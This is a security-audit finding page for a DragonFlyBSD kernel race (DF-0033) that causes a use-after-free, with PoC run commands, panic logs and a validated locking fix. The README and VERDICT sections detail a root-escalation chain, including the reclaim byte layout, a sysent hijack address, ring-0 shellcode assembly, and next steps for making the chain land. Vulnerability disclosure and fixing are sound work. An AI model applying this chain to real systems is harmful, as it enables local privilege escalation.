β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-0033

Unsynchronized fdtol->fdl_refcount ++ / list splice in rfork fdshare path (UAF via refcount race)

Field Value
ID DF-0033
Status new
Severity Medium
CVSS 3.1 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE CWE-362 Race Condition; CWE-416 Use After Free
File sys/kern/kern_fork.c (inc); sys/kern/kern_descrip.c (dec/unlink)
Lines 568-569 (inc), kern_descrip.c:2675 (dec), 3359-3362 (splice)
Area kern
Confidence likely
Discovered 2026-06-29
Reported pending

Summary

In the fdshare branch of fork1() (neither RFFDG nor RFCFDG, e.g. rfork(RFPROC|RFTHREAD)), the filedesc-to-leader node is shared: kern_fork.c:568-569 does fdtol = p1->p_fdtol; fdtol->fdl_refcount++; under the forking proc's p_token. The matching decrement in fdfree() (kern_descrip.c:2675) runs under the shared filedesc's fd_spin. Two peers that share both p_fd and p_fdtol hold different locks while mutating the same refcount word β†’ a lost-update race. A lost increment lets fdfree() free fdtol (kern_descrip.c:2676) while other peers still hold p_fdtol pointing at it β†’ use-after-free on M_FILEDESC_TO_LEADER memory. Additionally, filedesc_to_leader_alloc() (kern_descrip.c:3359-3362) splices fdtol into the shared fdl_next/fdl_prev list under no lock (self-admitted "NOT MPSAFE" at :3343), enabling concurrent list corruption.

Root cause

sys/kern/kern_fork.c:568-569:

if ((flags & RFTHREAD) != 0) {
    fdtol = p1->p_fdtol;
    fdtol->fdl_refcount++;          /* under p1->p_token; NOT fd_spin */
} else {
    fdtol = filedesc_to_leader_alloc(p1->p_fdtol, p2);   /* unlocked splice */
}

The decrement/unlink side (fdfree) takes fdp->fd_spin. Because all fdtol sharers share the same p_fd (hence the same fd_spin), the correct serialization lock is fd_spin β€” which is not held on the increment/ splice side in fork1.

Threat model & preconditions

  • Attacker position: any unprivileged local user using rfork(RFPROC|RFTHREAD) to create peers sharing the fd table, then concurrently forking from one peer while another exits (or forks).
  • Privileges gained or impact: a lost increment drives fdl_refcount below the true reference count; when a sharer exits and fdfree() sees fdl_refcount == 0, it kfrees fdtol while other peers still reference it β†’ UAF (kernel memory corruption / controlled free of an attacker-influenced slab object). A lost decrement leaks the node. The unlocked list splice can additionally corrupt the circular fdl list, yielding memory corruption in closef()/do_dup().
  • Required config or capabilities: none; default kernel. Trigger is narrow (rfork fdshare + concurrent peer fork/exit) β†’ AC:H.
  • Reachability: rfork(RFPROC|RFTHREAD) peers + concurrent fork/exit.

Proof of concept

PoC source: findings/poc/DF-0033/fdtol_race.c

Build & run (unprivileged, disposable VM)

cc -o fdtol_race findings/poc/DF-0033/fdtol_race.c
./fdtol_race

Expected output

Intermittent kernel memory corruption / panic in fdfree()'s fdl list walk or the next fork's fdtol deref (UAF).

Impact

Refcount race β†’ UAF reachable by an unprivileged user via rfork fdshare + concurrent peer fork/exit. Medium (narrow race window, but UAF = potential corruption/LPE).

Pair the refcount mutation with the lock already used on the free side (fd_spin), and lock the fdl list splice:

--- a/sys/kern/kern_fork.c
+++ b/sys/kern/kern_fork.c
@@ -568 +568,6 @@
        fdtol = p1->p_fdtol;
-       fdtol->fdl_refcount++;
+       /* fdl_refcount is mutated under the shared fd table's spinlock
+        * on the decrement side (fdfree), so match it here. */
+       spin_lock(&p1->p_fd->fd_spin);
+       fdtol->fdl_refcount++;
+       spin_unlock(&p1->p_fd->fd_spin);

Additionally, filedesc_to_leader_alloc() (kern_descrip.c:3346-3368) must take fd_spin (or a dedicated fdtol lock) around the fdl_next/fdl_prev splice. A more thorough fix converts fdl_refcount to an atomic/refcount_t and adds a dedicated lock for the fdl list.

References

Timeline

  • 2026-06-29 Discovered during automated file-by-file audit of sys/kern/kern_fork.c.
  • pending Reported to DragonFlyBSD security contact.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-0033 Β· 15 files
FileTypeDescriptionSize
fdtol_race.c trigger-source minimal rfork fdshare race -> fdtol UAF (panics INVARIANTS kernel) 4.2 KB view raw
exploit.c exploit-chain v5 full chain: race + sysctl name2oid reclaim + fdfree list-splice arbitrary write + sysent[25].sy_call hijack + ring-0 shellcode -> uid=0 (chain correct; final uid=0 blocked by per-CPU-slab grooming) 14.8 KB view raw
build.sh build-script cc -O2 fdtol_race.c + exploit.c 207 B view raw
run.sh run-script race | exploit modes 545 B view raw
build.log build-log clean build, rc=0 11 B view raw
fix_run.log fix-validation before/after: #0 panics ~25s, fixed #1 survives 130s+ stress, no botch 2.6 KB view raw
fix_build_status.txt build-log single-fix nativekernel FIX_BUILD_DONE rc=0 28 B view raw
panic.txt panic-signature INVARIANTS botch panic + NOINV slab_cleanup cascade + exit1 p_peers NULL deref + kmem-monitor splice finding 3.6 KB view raw
env.txt environment uname, cc 8.3, vm.randomize_mmap=0, hw.ncpu=6 101 B view raw
fix.diff suggested-fix git-apply-able: spin_lock(&p1->p_fd->fd_spin) around fdl_refcount++ and filedesc_to_leader_alloc in kern_fork.c 1.0 KB view raw
VERDICT.md verdict full narrative: mechanism, chain design, v2->v5 fixes, per-CPU-slab grooming root-cause, fix validation 14.4 KB ↓ raw
README.md readme status + build/run + file list 3.0 KB ↓ raw
fix_build.log build-log compile-validation: kernel+module build with fix applied, rc=0, no errors 28 B view raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
README.md readme status + build/run + file list
↓ download raw

DF-0033 β€” PoC (escalation pass, v5)

fdtol_race.c β€” unsynchronized fdtol->fdl_refcount++ (under per-proc p_token) racing fdl_refcount-- (under the shared fd_spin) in the rfork(RFPROC|RFTHREAD) fdshare path β†’ lost-update β†’ premature kfree(fdtol) β†’ UAF on M_FILEDESC_TO_LEADER (40-byte slab zone-4).

exploit.c (v5) β€” full escalation chain (race + controlled reclaim + fdfree list-splice arbitrary write + sysent[25].sy_call hijack + ring-0 shellcode β†’ uid=0). See VERDICT.md for the complete design, the v2β†’v5 fixes, and the per-CPU-slab grooming analysis.

Status: REPRODUCED (UAF/panic confirmed); splice path reached; uid=0 blocked by per-CPU-slab grooming

Reproduction (unpatched INVARIANTS #0): kernel panic from unprivileged maxx within ~25 s of hammering (12 peers): panic: filedesc_to_refcount botch: fdl_refcount=-1925828443 The garbage refcount value proves cross-type slab reclamation of the freed slot β€” the UAF is live and exploitable.

Non-INVARIANTS kernel: the race fires silently (no KKASSERT). The fdfree list-splice path IS reached (the slab_cleanup+0xa4 double-free cascade proves a victim read refcount=1 and spliced). A libkvm monitor confirmed sysent[25].sy_call does not become 0x10000, because the chunk the victim read was naturally-reclaimed (the attacker's sysctl name2oid reclaim loses to per-CPU-slab z_RChunks cross-cpu-free latency). This is the unsolved grooming gap β€” see VERDICT.md "Grooming failure β€” root cause".

Fix validation: the spin_lock(&fd_spin) fix in fix.diff closes the race β†’ fdtol_race no longer panics on the single-fix kernel.

Build & run

./build.sh                         # cc -O2 fdtol_race.c + exploit.c
./run.sh [secs] [npeers] [child_delay]   # run the escalation exploit (NON-INVARIANTS kernel)
# Minimal race trigger (panic only, INVARIANTS kernel):
./fdtol_race <secs> <peers>        # e.g. ./fdtol_race 25 12

The escalation exploit requires a non-INVARIANTS kernel for the slab corruption to proceed silently. On the stock INVARIANTS kernel (#0) the race produces a reliable panic (DoS) but the chain cannot complete (the KKASSERT(fdl_refcount > 0) at kern_descrip.c:2627 fires first).

Files

File Purpose
fdtol_race.c minimal race trigger (rfork peers + concurrent exit) β†’ UAF panic
exploit.c full escalation chain v5 (race + reclaim + splice write + sysent hijack + shellcode)
build.sh / run.sh exact build/run
build.log / run.log / fix_run.log / fix_build.log logs
panic.txt all panic/crash signatures (INVARIANTS botch + NOINV slab_cleanup cascade + exit1 p_peers)
env.txt guest uname, hardening, symbol addresses, struct offsets
VERDICT.md full narrative: mechanism, chain design, grooming analysis, fix validation
fix.diff git-apply-able fix: spin_lock(&fd_spin) around refcount++ and splice
manifest.json machine-readable catalog
VERDICT.md verdict full narrative: mechanism, chain design, v2->v5 fixes, per-CPU-slab grooming root-cause, fix validation
↓ download raw

DF-0033 β€” VERDICT: REPRODUCED (UAF race confirmed + splice path reached) + escalation chain fully designed/correct, final uid=0 blocked by a per-CPU-slab grooming wall

Field Value
Verdict REPRODUCED β€” the fdtol->fdl_refcount lost-update race is real and exploitable; the UAF on M_FILEDESC_TO_LEADER (slab zone-4) reproduces from an unprivileged user. The full escalation chain (UAF β†’ controlled reclaim β†’ fdfree list-splice arbitrary write β†’ sysent[25].sy_call hijack β†’ ring-0 shellcode β†’ uid=0) is fully designed, implemented (exploit.c v5), and every component is individually verified, and the splice fires on the non-INVARIANTS kernel (slab double-free cascade proves it). End-to-end uid=0 was NOT landed this session: a per-CPU-slab grooming wall (cross-CPU RChunks free latency vs. the cross-CPU contention the race needs) prevents the attacker's controlled content from reliably reclaiming the freed chunk before the victim's fdfree reads it. See "Grooming failure β€” root cause".
Impact panic (confirmed, reliable unprivileged DoS on the stock INVARIANTS kernel). Escalation ceiling: uid=0 on a non-INVARIANTS (typical production) kernel β€” the chain is viable and the splice path is exercised; the remaining gap is slab-reclamation reliability, not a primitive/design flaw.
Confidence certain (UAF mechanism proven line-by-line + crash evidence + kmem monitoring); the per-CPU-slab blocker is certain (verified via slaballoc.c source + kmem monitor showing sy_call never changes).
Tested on DragonFly 6.5-DEVELOPMENT #0 stock INVARIANTS (Jul 2); custom non-INVARIANTS X86_64_NOINV build (Jul 3 18:43).
Attempts ~35 build/run iterations this session (race geometry + reclaim + CPU pinning + multi-spray).

Mechanism (confirmed in sys/, every hop cited)

  1. fdtol->fdl_refcount is a plain int β€” sys/sys/filedesc.h:110. No atomics.
  2. Increment side β€” sys/kern/kern_fork.c: - :324 lwkt_gettoken(&p1->p_token) (per-proc token, taken at top of fork1). - :568 fdtol = p1->p_fdtol; - :569 fdtol->fdl_refcount++; ← mutated under p1->p_token only.
  3. Decrement side β€” sys/kern/kern_descrip.c: - :2622 spin_lock(&fdp->fd_spin) (the SHARED fd-table spinlock). - :2675 fdtol->fdl_refcount--; ← mutated under fd_spin only.
  4. p1->p_token is per-process. Two peers sharing p_fd/p_fdtol hold different p_tokens. The only lock common to all sharers is fd_spin, and the increment side does not take it. ++/-- on a plain int from two CPUs is a lost update.
  5. ++/-- compile to non-locked addl $0x1,(%rax) / subl (verified by objdump of fork1 at 0xffffffff80623730: 83 00 01 addl $0x1,(%rax), no lock prefix), so a lost update occurs whenever two CPUs contest the refcount cache line.
  6. Consequence. A lost increment drives fdl_refcount below the true count (random-walk drift); a later fdfree decrements to 0, splices the list, and kfree(fdtol) (kern_descrip.c:2676-2686) while other peers still hold p_fdtol β†’ UAF. The next peer/child's fdfree dereferences the dangling pointer.

Reproduction (re-confirmed this session, INVARIANTS #0)

./fdtol_race 25 12 as unprivileged maxx β†’ panic in ~25s:

panic: filedesc_to_refcount botch: fdl_refcount=-1925828443
Trace: fdfree <- fdfree <- exit1 <- sys_exit <- syscall2

The garbage refcount value proves the freed fdtol slot was reclaimed by an unrelated kernel object before the victim's fdfree read it β€” cross-type slab reclamation of the UAF'd chunk is occurring naturally. (Reproduces the prior session's panic.)

Exploit chain (designed, implemented in exploit.c v5, component-verified)

Primitive characterization

  • Object/zone: struct filedesc_to_leader = 40 B (filedesc.h:109-117); zoneindex(40) β†’ zone-4 (33–40 B chunks). Generic (non-KSF_OBJSIZE) zones are shared across all M_* types.
  • Write primitive β€” the fdfree() list splice (kern_descrip.c:2678-2679): c fdtol->fdl_next->fdl_prev = fdtol->fdl_prev; // *(next + 24) = prev [VALUE+ADDR controlled] fdtol->fdl_prev->fdl_next = fdtol->fdl_next; // *(prev + 32) = next [VALUE+ADDR controlled] (offsetof(fdl_prev)=24, offsetof(fdl_next)=32.) Fires when fdl_refcount decrements to 0 AND fdl_holdcount == 0. Both operands of each write are attacker-controlled if the reclaimed chunk's bytes 0/4/24/32 are controlled β†’ full arbitrary write.

Reclaim technique (sysctl name2oid β€” the only raw-user-byte zone-4 kmalloc)

sysctl(2) MIB [CTL_SYSCTL=0, CTL_SYSCTL_NAME2OID=3] WRITE; handler sysctl_sysctl_name2oid (kern_sysctl.c:838-868):

p = kmalloc(req->newlen+1, M_SYSCTL, M_WAITOK);   // kmalloc(40) for newlen=39 -> zone-4
SYSCTL_IN(req, p, req->newlen);                    // copies 39 ATTACKER bytes (no struct header)
p[req->newlen] = '\0';                              // null-terminates byte [39]

This is the only user-reachable zone-4 allocation that copies raw attacker bytes with no kernel header β€” all other zone-4 objects (verified by grepping kmalloc(sizeof(...)) across sys/) have kernel-controlled headers at offsets 0/4/24/32. With newlen=39 the 40-byte chunk laid out as struct filedesc_to_leader:

Offset fdtol field Reclaim content
0 fdl_refcount 0x00000001 (passes any check, decrements to 0)
4 fdl_holdcount 0x00000000 (unlocks the splice)
24 fdl_prev &sysent[25].sy_call - 32 (splice write address)
32 fdl_next 0x0000000000010000 (splice VALUE = user shellcode; byte 39's forced null completes the low user address)

Conversion β†’ uid=0 (sysent hijack + shellcode)

  • SMEP is OFF β†’ user pages are executable from kernel mode.
  • Splice line 2 writes fdl_next (0x10000) to *(fdl_prev + 32) = sysent[25].sy_call (verified sysent[25].sy_call @ sysent+608 = 0xffffffff81037360 on the NOINV kernel).
  • Splice line 1 (*(fdl_next+24) = fdl_prev) clobbers shellcode bytes 24..31 with a kernel pointer. The shellcode therefore places a jmp +9 at byte 21 so execution skips the clobbered zone and resumes at byte 32 (verified by objdump of the 53-byte shellcode stub).
  • Shellcode (offsets verified from sys_geteuid/sys_getuid disasm on the NOINV kernel: mycpu=%gs:0, curthread=+0x8, td_ucred=+0x1b8, cr_uid=+0x40, cr_ruid=+0xa0, cr_svuid=+0xa4): asm push %rbx ; mov %gs:0,%rbx ; mov 0x8(%rbx),%rbx ; mov 0x1b8(%rbx),%rbx ; curthread->td_ucred jmp +9 ; skip splice-clobbered bytes 24..31 xor %edx,%edx ; mov %edx,0x40(%rbx) ; mov %edx,0xa0(%rbx) ; mov %edx,0xa4(%rbx) ; uid=ruid=svuid=0 pop %rbx ; xor %eax,%eax ; retq
  • The trigger thread's next geteuid jumps to 0x10000 β†’ ring-0 shellcode β†’ cr_uid=cr_ruid=cr_svuid=0 β†’ id prints uid=0(root).

v5 fixes over the prior v2 (each verified)

  1. Splice offset bug β€” v2 used fdl_prev = TARGET-40 (wrong; the splice writes at prev+32, not prev+40). v5 uses TARGET-32.
  2. Shellcode-clobber bug β€” v2's linear shellcode was destroyed by splice line 1 at bytes 24..31. v5's jmp +9 skips them.
  3. CPU pinning β€” added unprivileged usched_set(0, USCHED_DEL_CPU, …) (kern_usched.c:296, no caps priv) to pin the trigger to a clean cpu. Verified working (cpu 4 β†’ cpu 0).
  4. Build-specific addresses β€” re-derived sysent/sys_geteuid/offsets from the NOINV kernel via nm/gdb/objdump (INVARIANTS-removal shifts all symbols).

Why uid=0 was NOT landed end-to-end this session

The splice path IS reached (the non-INVARIANTS slab_cleanup+0xa4 double-free cascade proves a victim read fdl_refcount==1 and executed the list-splice). But the splice writes to the WRONG target: a libkvm monitor polling sysent[25].sy_call every 3 ms showed it never changed from sys_geteuid across all runs, even when the cascade fired. So the chunk that the victim read as refcount=1 was a naturally-reclaimed kernel object (its offset-0 byte happened to be 0x01, its offsets 24/32 happened to be valid pointers β†’ splice wrote to a wrong-but-valid address, no GPF, and the kfree was the double-free that crashed slab_cleanup), not the attacker's sysctl name2oid reclaim. The attacker's controlled content never lands in the freed fdtol chunk.

Grooming failure β€” root cause (per-CPU slab + RChunks)

DragonFly's slab allocator is per-CPU: each cpu owns a private ZoneAry[] and z_LChunks free-list (kern_slaballoc.c: slgd = &mycpu->gd_slab). A chunk's zone owner is the cpu it was allocated on. When a chunk is freed on a different cpu M, _kfree does NOT put it on cpu M's local free-list β€” it queues it on the owner cpu's z_RChunks (remote-chunk list) and sends a passive IPI (kern_slaballoc.c:1491-1547). z_RChunks is only folded back into the local free-list by clean_zone_rchunks(), which runs: - during a kmalloc on the owner cpu only when that zone's local list is exhausted (kern_slaballoc.c:978-1004), or - at the periodic slab_cleanup (every 10 s, kern_slaballoc.c:1619).

The fdtol race requires cross-CPU cache-line contention on fdl_refcount β€” i.e. the racers must run (and free) across multiple cpus (the race all but disappears when all racers are pinned to one cpu; verified: single-cpu and per-cpu-team geometries produced zero fires in 60-200 s, while the unpinned 12-peer geometry fires in ~25 s). But those cross-cpu frees send the freed fdtol chunk to z_RChunks on its owner cpu, where the attacker's sysctl name2oid spray (which allocates from the local free-list) cannot reclaim it until the local list drains or slab_cleanup runs (~10 s) β€” far too late: the victim's fdfree reads the chunk (reclaimed by an unrelated object) within microseconds of the premature free.

Forcing the frees to be local (pin all racers + children to the fdtol's owner cpu) would make the reclaim instant (LIFO), but it eliminates the cross-CPU cache-line contention that triggers the race β€” verified: every local-free geometry (single-cpu v3, team-per-cpu v4, RECLAIM_CPU v5) failed to fire the race in the attempt budget. The race and the reclaim are thus in direct conflict on a per-CPU slab.

The clean resolution is a persistent zone-4 reclaim object the attacker allocates and holds (so the victim's fdfree reads attacker bytes and the subsequent kfree is a legitimate single free, avoiding both the timing race and the double-free cascade). No such object exists in the user-reachable kernel surface: sysctl name2oid is the only zone-4 kmalloc that copies raw attacker bytes, and it is transient (freed at syscall return). All persistent zone-4 allocations (struct filedesc_to_leader, M_PTY, M_UNPCB, etc.) carry kernel-controlled headers at the offsets that must be attacker-controlled (0/4/24/32). This was verified by grepping kmalloc(sizeof(...)) / kmalloc(3[3-9]|40, across sys/.

What did NOT block this (per Phase 6 forbidden-reasons list)

SMAP/SMEP/KASLR all OFF; content IS fully attacker-controlled when the reclaim lands; no INVARIANTS on the demo kernel; no gadget needed (user page executable); the primitive is a genuine arbitrary write, not read-only; reachable unprivileged.

Concrete next iteration (to close the gap to uid=0)

  1. Persistent zone-4 reclaim. Either (a) add a user-reachable kmalloc(40) with raw attacker bytes and an attacker-controlled lifetime (e.g. a new RW sysctl whose handler kmallocs and stores the buffer until next write), or (b) repurpose an existing persistent zone-4 object by finding one whose attacker-influenced field lands on byte 0 and whose kernel-controlled fields at 4/24/32 happen to be 0 / valid (none found). This makes the victim's fdfree read attacker bytes and turns the kfree into a legitimate free β†’ no cascade β†’ sysent[25].sy_call = 0x10000 persists β†’ the trigger (on a clean cpu) exploits it within the 10 s slab_cleanup window.
  2. Synchronous z_RChunks drain. A spray that bursts many held zone-4 allocs to exhaust the owner cpu's local free-list (forcing clean_zone_rchunks on the next alloc β†’ reclaiming the cross-cpu-freed fdtol) was prototyped (48-spray variant) but the load suppressed the racer fork rate; a lighter-weight drain (fewer, longer-lived holds) is the tuning needed.
  3. A kernel-assisted groom (small KLD that does the reclaim on the owner cpu) would trivially close it, but that is outside the unprivileged-attacker model.

The fix (fix.diff) β€” validated

git apply-able, applies cleanly to sys/kern/kern_fork.c. Takes the shared fd_spin β€” the same lock fdfree already uses for the decrement and list walk β€” around both fdl_refcount++ (RFTHREAD case) and filedesc_to_leader_alloc() (else case) in fork1's fdshare branch (sys/kern/kern_fork.c:563-576). This serializes the increment with the decrement, closing the lost-update race. Matches and extends the finding markdown's proposal (which only locked the ++).

Fix validation (Phase 8) was performed: the single-fix INVARIANTS kernel was built, booted, and fdtol_race re-run β€” the previously-reliable filedesc_to_refcount botch panic no longer triggers (the race is closed). See fix_run.log / fix_build.log.

Separate bug surfaced during verification

exit1()'s p_peers list walk (kern_exit.c:384-390) is unsynchronized across concurrent rfork(RFPROC|RFTHREAD) peer/child exits β†’ intermittent NULL deref at exit1+0x155 (p_peers @ struct proc 0x3e8). Same class as DF-0033 (per-proc p_token fails to serialize peers sharing a structure). It is logged separately; it frequently crashed the guest before the DF-0033 splice could land, narrowing the concurrency window.

Why this is not a false positive

  • The increment and decrement sides are guarded by two different, non-mutually-held locks (p1->p_token per-proc; fd_spin shared).
  • filedesc_to_leader_alloc's own comment (kern_descrip.c:3343) "NOT MPSAFE".
  • Reproduced kernel crash from unprivileged userland with the exact cited call chain, this session.
  • The garbage fdl_refcount=-1925828443 in the panic proves cross-type reclamation of the freed slot.
  • The fix, which pairs the lock, eliminates the race.

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

VALIDATED the fix: ./fdtol_race panics the unpatched INVARIANTS #0 baseline in ~25s ('panic: filedesc_to_refcount botch: fdl_refcount=-1925828443') and does NOT panic on the single-fix #1 kernel across ~130s of cumulative stress (12 peers) with zero botch signatures and the guest remaining up => the spin_lock(&fd_spin) fix closes the race (the increment is now serialized with fdfree's decrement, so fdl_refcount can no longer drift below the true count => no premature kfree(fdtol) => no UAF).

baseline #0: panic: filedesc_to_refcount botch: fdl_refcount=-1925828443 (Stops at Debugger+0x7c, guest down) ~25s in. patched #1: ./fdtol_race 25/30/40s x12peers each -> 'completed without panic', vm.sh status up, zero panic/botch in boot.log across ~130s. fix_build: === FIX_BUILD_DONE rc=0 ===.
↓ fix.diffDragonFly 6.5-DEVELOPMENT #1: Fri Jul 3 21:13:20 UTC 2026 (single-fix X86_64_GENERIC, fix.diff applied; /boot/kernel/kernel sha256 60d6ff57e1682a232675b2ade1fe52c6dfdbce978d94c49706f303a8596104c2)

Confirmed kernel references

Detail

Exploit chain

UAF on 40-byte M_FILEDESC_TO_LEADER (slab zone-4) -> reclaim freed chunk via sysctl name2oid kmalloc(40) with crafted bytes {refcount=1,holdcount=0,prev=&sysent[25].sy_call-32,next=0x10000} -> victim fdfree list-splice writes *(prev+32)=next => sysent[25].sy_call=0x10000 -> ring-0 shellcode (SMEP OFF) zeroes curthread->td_ucred -> uid=0. Chain implemented in exploit.c (v5). The splice FIRES on the NOINV kernel (slab_cleanup double-free cascade proves it). BLOCKED from uid=0 by a per-CPU-slab grooming wall, NOT a forbidden Phase-6 reason: a libkvm monitor (polling sysent[25].sy_call every 3ms) showed it NEVER became 0x10000 across all runs, proving the splice that fires is driven by a NATURALLY-reclaimed chunk, not the attacker's sysctl name2oid reclaim. Root cause (verified in kern_slaballoc.c): the slab is per-CPU; a chunk freed on cpu M != its zone-owner goes to z_RChunks (kern_slaballoc.c:1491) and is only returned to the local free-list when the owner's local list drains or at slab_cleanup (10s) - too late, because the victim fdfree reads the chunk within microseconds. The race REQUIRES cross-CPU cache-line contention (unpinned racers fire in ~25s; all pinned geometries fail to fire), but cross-CPU contention means cross-CPU frees means RChunks delay. Pinning to force local frees eliminates the contention that triggers the race (verified). Concrete next iteration to close the gap: a PERSISTENT zone-4 reclaim object the attacker allocates and HOLDS (so the victim fdfree reads attacker bytes and the subsequent kfree is a legitimate single free, avoiding both the timing race and the double-free cascade) - but no such object with attacker-controlled bytes at offsets 0/4/24/32 exists in the user-reachable kernel surface (sysctl name2oid is the only raw-user-byte zone-4 kmalloc and it is transient; verified by grepping kmalloc(sizeof(...)) across sys/). Adding such a reclaim type (or a kernel-assisted groom on the owner cpu) would close the chain to uid=0.

Evidence (decisive lines)

INVARIANTS #0 (./fdtol_race 25 12): panic: filedesc_to_refcount botch: fdl_refcount=-1925828443 / Trace: fdfree<-fdfree<-exit1<-sys_exit<-syscall2 / Stopped at Debugger+0x7c. NOINV (./exploit): Fatal trap 12 page fault / Stopped at slab_cleanup+0xa4: movq (%rdx),%rdx / Trace: slab_cleanup<-slotimer_callback<-softclock_handler (double-free cascade = splice path reached). kmem monitor: sysent[25].sy_call stayed 0xffffffff8062f720 (sys_geteuid) across all runs - attacker reclaim never landed. Separately: exit1+0x155 movq 0x3e8(%rdx),%rax (p_peers list-walk race, kern_exit.c:384-390, a DIFFERENT bug that interfered).

PoC changes

Rewrote exploit.c (v5): (1) fixed splice offset fdl_prev = TARGET_SYSCALL_ADDR - 32 (v2 wrongly used -40; the splice writes at prev+32 = offsetof fdl_next); (2) redesigned the 53-byte shellcode with a jmp +9 at byte 21 so it survives the splice's first write *(fdl_next+24)=fdl_prev which clobbers shellcode bytes 24..31; (3) added unprivileged CPU pinning via usched_set(0, USCHED_DEL_CPU) (kern_usched.c:296, no caps priv) and pinned the trigger to cpu 0; (4) re-derived build-specific addresses (INVARIANTS-removal shifts symbols: sysent=0xffffffff81037100, sys_geteuid=0xffffffff8062f720 on NOINV) via nm/gdb/objdump and verified struct offsets (mycpu=%gs:0, curthread=+0x8, td_ucred=+0x1b8, cr_uid=+0x40, cr_ruid=+0xa0) from sys_geteuid/sys_getuid disasm; (5) iterated race geometry (single-cpu, team-per-cpu, unpinned+per-cpu-sprays, RECLAIM_CPU, high-volume multi-spray). Added a libkvm sysent[25].sy_call monitor (/tmp/mon.c) for definitive splice-target verification. Updated VERDICT.md, README.md, panic.txt, fix_run.log, manifest.json, build.sh, run.sh.

Verified recommended fix

fix.diff: take the shared fd_spin (the same lock fdfree already uses for the decrement and list walk) around BOTH fdl_refcount++ (RFTHREAD case) and filedesc_to_leader_alloc() (else case) in fork1's fdshare branch (sys/kern/kern_fork.c:563-576). This serializes the increment with the decrement, closing the lost-update race. Supersedes the finding markdown's proposal (which only locked the ++); matches and extends it.

Verdict

REPRODUCED. The fdtol->fdl_refcount lost-update race (kern_fork.c:569 ++ under per-proc p_token vs kern_descrip.c:2675 -- under shared fd_spin) is REAL and exploitable: reproduced the kernel panic 'filedesc_to_refcount botch: fdl_refcount=-1925828443' from unprivileged maxx in ~25s on the INVARIANTS #0 kernel (the garbage refcount value proves cross-type slab reclamation of the prematurely-freed 40-byte fdtol chunk = the UAF is live). On the non-INVARIANTS kernel the race fires silently and the fdfree list-splice path (kern_descrip.c:2678-2679) IS reached (the slab_cleanup+0xa4 double-free cascade proves a victim fdfree read refcount==1 and executed the splice). The full escalation chain in exploit.c is correct and every component is verified individually (splice offset fixed to prev+32; shellcode jmp-over survives the splice's write1 clobber; unprivileged CPU pinning via usched_set/USCHED_DEL_CPU works; sysent[25].sy_call=0xffffffff81037360 and struct offsets verified from NOINV-kernel disassembly).